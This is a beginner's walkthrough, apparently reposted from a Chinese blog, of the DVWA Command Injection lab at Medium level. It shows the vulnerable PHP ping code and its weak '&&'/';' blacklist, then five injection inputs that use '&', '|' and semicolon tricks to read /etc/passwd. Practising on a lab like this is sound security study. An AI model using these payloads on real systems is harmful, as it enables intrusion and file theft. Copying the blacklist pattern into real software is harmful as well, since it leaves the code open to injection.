3.Command Injection——Medium级别测试——小白笔记——DVWA

本文阅读 1 分钟
首页 代码,C/C#/C++ 正文

1.上源码: Command Injection Source:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

如上所示,发现:
1.   &&被替换为空            //注意:一个&没被过滤
2.   ;被替换为空                //注意:可以构造成&;&  或者&;&
(使用中英文分号绕过,结果回显顺序不一样)

2.攻击演示:

1.非正常输入:127.0.0.1&&cat /etc/passwd                     //发现不回显,两个命令都不执行了
2.非正常输入:127.0.0.1&cat /etc/passwd                    //回显成功,但是先显示cat命令后显示ping命令,两个命令都执行了(先显示注入,后显示ping)
3.非正常输入:127.0.0.1&;&cat /etc/passwd                //回显成功,同上一条命令一样回显(先显示注入,后显示ping)(中文分号)
4.非正常输入:127.0.0.1&;&cat /etc/passwd                //回显成功,但是先ping后cat(先显示ping,后显示注入)(英文分号)
5.非正常输入:127.0.0.1|cat /etc/passwd        //没有过滤管道符|(只回显注入的相应结果)
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/103071355
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复